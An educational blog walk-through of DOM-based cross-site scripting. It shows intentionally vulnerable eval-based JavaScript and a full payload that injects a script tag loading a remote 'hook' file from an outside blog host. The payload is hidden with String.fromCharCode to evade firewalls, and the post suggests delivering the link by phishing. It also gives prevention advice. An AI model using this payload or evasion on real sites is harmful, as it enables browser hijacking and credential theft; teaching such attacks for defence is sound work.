Monday, January 4, 2016

DOM XSS 101 Walk-Through

DOM XSS 101 Walk-Thru

We've talked about XSS (Cross-Site Scripting) before on this blog. I thought it would be good to walk-through a form of XSS that we really haven't covered yet called DOM (Document Object Model) XSS. The prior discussions we've had about XSS have revolved more around Store and Reflected XSS. Stored XSS is where the XSS attack was stored server-side likely in a database table and is loaded over and over from the database every time any user goes to a particular page. Reflected XSS is where the browser sends an attack request to the web server, and the web server responds back (or reflects) that attack back to the end user. Both Stored and Reflected XSS involve server side communication, thus there is a chance if done correctly for the Server to sanitize or block the XSS attack prior to it ever hitting the user. Another type of XSS worth talking about is DOM XSS. This attack is purely client-side, the request likely never makes it to the server and thus the Server has no way of protecting the user against the attack. The only forms of protection would be proper coding by the developer or the browser itself detecting and blocking the attack. It is possible, depending on how the attack is performed, that the server might log the web request but by then it might be too late and the attack may have occurred already. But there are also methods or ways using the # character (hash/pound) for an attacker to even prevent these DOM attacks from even being logged to the server thus the attack may go completely unnoticed.

I pasted an example of some poorly written Javascript that is vulnerable to DOM XSS.

Let's say I have a website and a url that looks like this hxxp://myurl.com/domxsstest.html?userid=123456


And say I want to write some javascript that will log the userid to the chrome/firefox/ie developer console for general troubleshooting.

function logUserId(userid){
   console.log('debug: userid found was \'' + userid + '\'');
}


And in order to pull that userid out of the url and log it, I wrote this perfectly legit and functioning javascript code.

var myurl = window.location.href;
var useridstartindex = myurl.indexOf("userid=") + 7;
var userid = myurl.substring(useridstartindex,myurl.length);
var calllogfunction = 'logUserId(' + userid.toString() + ')'
eval(calllogfunction);


Since the above javascript uses the unsafe eval function and does not properly sanitize the user input (the Query string parameter 'userid'), an attacker could do the following to exploit this vulnerable code.

First to understand the concept, basically the attacker can control the value of the calllogfunction variable and can inject his own code into it that will execute against the browser and run in the origin/scope of the domain it's on (such as myurl.com). This can be very bad and can lead to malware, keystroke logging, drive-by downloads, credential theft, internal network recon, and much more.

At a super high level, we'd expect the calllogfunction variable to end up containing this

logUserId(12345)

But in my example below, as the attacker I am able to change the value of the calllogfunction variable to something such as below where I completely control 'my evil code'

logUserId(12345);eval('my evil code')

As a more realistic example I'm going to make it look like this.

logUserId(12345);eval(s=document.createElement('script'); s.src='http://neonprimetime.blogspot.com/fakehook.js'; document.getElementsByTagName('head')[0].appendChild(s))

If we quickly run through this code, here's what it does

logUserId(12345);

The above line logs the userid as the developer desired.

eval(s=document.createElement('script');

The above line then creates a new script tag which is where the attacker will insert his javascript code.

s.src='http://neonprimetime.blogspot.com/fakehook.js';

The above line then sets the source of the javascript code to his evil website hook script which does the bad things like installing malware, keylogging, or whatever is desired.

document.getElementsByTagName('head')[0].appendChild(s)

The above line finally searches for the head tag in the html page and appends the attackers script tag right after it dynamically. So just like that, which a few strokes of magic javascript code, the attackers evil javascript (hosted at neonprimetime.blogspot.com) is now running inside the user's browser under the origin/scope of the good site myurl.com.

So now to make this attack work, we simply need to adjust our url and get the victim user to click our adjusted url.

The first thing the attacker would do is take the evil code above (s=document.createElement........), drop it into a free utility like this one that converts the evil string code to integer character codes such as these ( 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 115, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 110, 101, 111, 110, 112, 114, 105, 109, 101, 116, 105, 109, 101, 46, 98, 108, 111, 103, 115, 112, 111, 116, 46, 99, 111, 109, 47, 102, 97, 107, 101, 104, 111, 111, 107, 46, 106, 115, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59 )

This is done for probably at least 2 reasons, 1 is to avoid issues where a closing tick mark like this ' will terminate the original eval javascript statement. If that tick mark terminates the statement, then our attacker code won't get executed. The 2nd reason is more for obfuscation. This makes it harder for a WAF (web application firewall) or other tools to detect and block evil code since the obfuscated combinations options are literally endless.

We then add a call to the powerful Javascript function String.fromCharCode() which works the magic of converting our integers back into the evil code to execute. Thus we'd end up changing this hxxp://myurl.com/domxsstest.html?userid=123456 to something uglier like this hxxp://myurl.com/domxsstest.html?userid=123456);eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,110,101,111,110,112,114,105,109,101,116,105,109,101,46,98,108,111,103,115,112,111,116,46,99,111,109,47,102,97,107,101,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))//

Then you throw this link into a phishing email or submit it to a message board or via social media messaging and get somebody to click on it. They're more likely to click on a link like this because even if they hover over the link and manually review it with their eyes prior to clicking, they'll see that the url is coming directly from their trusted url (myurl.com) so they'll be satisfied and click. But once they click, they're hooked, they're infected, and the bad guy has what he wants, control over that browser.

You can test out the code from the pastebin link above locally and watch as we discussed that the console will get logged the userid just as expected



But also in the background (end user would never even know) the javascript hook file was loaded from the 2nd domain.



OWASP, as usual, has a great link describing how to prevent attacks like this. You could also add HTTP Headers like Content-Security-Policy to restrict which domains scripts can evel be loaded from ,thus preventing the evil attackers javascript from even being loaded by the browser even if you are vulnerable to DOM XSS. This blog is a good quick read about those headers.

Hope this helps and remember to never underestimate an XSS vulnerability. If one shows up on your website, get your developers to fix it ASAP.

Credit goes to the Browser Hacker's Handbook for giving me the initial intro.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection ali.txt walk-thru
  3. php injection exfil walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

2 comments:

  1. Great info and very succinctly written! Can I summarize this by saying the two problems are 1. using an eval statement and 2. not sanitizing user input (querystring) where that user input is being used programmatically? Is there any other basic points I missed?

    ReplyDelete
  2. Sounds accurate. One of my bigger points I was hoping to get across for web developers too was that you can't just look at your server-side code (C#, Java, PHP, etc.) , you also have to security review your client-side code like Javascript because of things like DOM XSS.

    ReplyDelete